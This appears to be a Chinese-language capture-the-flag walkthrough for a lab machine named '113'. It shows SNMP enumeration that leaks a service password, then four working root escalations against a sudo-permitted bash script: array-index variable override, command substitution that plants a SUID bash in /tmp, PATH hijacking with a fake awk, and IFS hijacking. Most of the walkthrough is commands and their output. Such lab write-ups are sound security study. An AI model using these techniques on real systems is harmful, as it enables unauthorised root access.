

主机发现

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端口扫描

Web -- 80

```
└─(root@xhhui)-[~/Desktop/xhh/113]
└─# curl 192.168.56.171
<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Mazesec welcome u</title>
  <style>
    body {
      margin: 0;
      padding: 0;
      height: 100vh;
      display: flex;
      justify-content: center;
      align-items: center;
      background-color: #f5f5f5;
```

```

        font-family: Arial, sans-serif;
    }

    .quote {
        font-size: 2.5rem;
        text-align: center;
        color: #333;
        padding: 20px;
        max-width: 800px;
    }
</style>
</head>
<body>
    <div class="quote">
        The quieter you become, the more you are able to hear.
    </div>
</body>
</html>

```

没啥信息，也没有扫出什么目录

端口扫描 -- UDP

```

└─(root@xhhui)-[~/Desktop/xhh/113]
└─# nmap -sU --top-ports 100 192.168.56.171
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-21 11:49 CST
Nmap scan report for 192.168.56.171 (192.168.56.171)
Host is up (0.0011s latency).
Not shown: 98 closed udp ports (port-unreach)
PORT      STATE      SERVICE
68/udp    open|filtered dhcpc
161/udp   open              snmp
MAC Address: 08:00:27:D2:9F:A5 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 109.88 seconds

```

发现开启了snmp

To welcome

SNMP信息枚举

```

└─(root@xhhui)-[~/Desktop/xhh/113]
└─# snmpwalk -v2c -c public 192.168.56.171 | grep "pass"
iso.3.6.1.2.1.25.4.2.1.4.401 = STRING: "service --user welcome --password
mMOq2WWONQiiY8TinsRF --host localhost --port 8080"
iso.3.6.1.2.1.25.6.3.1.2.13 = STRING: "base-passwd_3.5.46_amd64"
iso.3.6.1.2.1.25.6.3.1.2.478 = STRING: "passwd_1:4.5-1.1_amd64"

```

To root

常规查看sudo

```
welcome@113:~$ sudo -l
Matching Defaults entries for welcome on 113:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on 113:
    (ALL) NOPASSWD: /opt/113.sh
```

查看脚本内容

```
welcome@113:~$ cat /opt/113.sh
#!/bin/bash

sandbox=$(mktemp -d)
cd $sandbox

if [ "$#" -ne 3 ];then
    exit
fi

if [ "$3" != "mazesec" ]
then
    echo "\$3 must be mazesec"
    exit
else
    /bin/cp /usr/bin/mazesec $sandbox
    exec_="$sandbox/mazesec"
fi

if [ "$1" = "exec_" ];then
    exit
fi

declare -- "$1"="$2"
$exec_
```

方案一：变量的数组特性（语法特性）

在 `bash` 里，当你声明一个普通变量时，它实际上被存储为一个数组的第一个元素（索引为 0）。

```
welcome@113:~$ sudo /opt/113.sh 'exec_[0]' 'su' mazesec
root@113:/tmp/tmp.yoYCou01K7# id
uid=0(root) gid=0(root) groups=0(root)
```

方案二：数组索引解析的命令替换

```
welcome@113:~$ sudo /opt/113.sh 'h[$(cp /bin/bash /tmp/bash;chmod +s
/tmp/bash)]' 'xhh' mazesec
flag{fakeroot-77f669fb6a3b4d727ebc03c153a4a523}
welcome@113:~$ ls -al /tmp/bash
-rwsr-sr-x 1 root root 1168776 Jan 21 09:09 /tmp/bash
welcome@113:~$ /tmp/bash -p
bash-5.0# id
uid=1000(welcome) gid=1000(welcome) euid=0(root) egid=0(root)
groups=0(root),1000(welcome)
```

方案三：PATH劫持

```
welcome@113:~$ echo '/usr/bin/cp /bin/bash /tmp/bash_from_awk' > /tmp/awk
welcome@113:~$ echo '/usr/bin/chmod +s /tmp/bash_from_awk' >> /tmp/awk
welcome@113:~$ cat /tmp/awk
/usr/bin/cp /bin/bash /tmp/bash_from_awk
/usr/bin/chmod +s /tmp/bash_from_awk
welcome@113:~$ chmod +x /tmp/awk
welcome@113:~$ sudo /opt/113.sh 'PATH' '/tmp' mazesec
/tmp/tmp.f0KEhg1Pg2/mazesec: line 3: md5sum: command not found
flag{fakeroot-}
welcome@113:~$ ls -al /tmp/bash*
-rwsr-sr-x 1 root root 1168776 Jan 21 09:09 /tmp/bash
-rwsr-sr-x 1 root root 1168776 Jan 21 09:20 /tmp/bash_from_awk
welcome@113:~$ /tmp/bash_from_awk -p
bash_from_awk-5.0# id
uid=1000(welcome) gid=1000(welcome) euid=0(root) egid=0(root)
groups=0(root),1000(welcome)
```

方案四：IFS字符级劫持

```
welcome@113:~$ echo 'su' > /tmp/tmp
welcome@113:~$ chmod +x /tmp/tmp
welcome@113:~$ sudo /opt/113.sh 'IFS' '.' mazesec
root@113:/tmp/tmp.nrKs0bdiaQ# id
uid=0(root) gid=0(root) groups=0(root)
```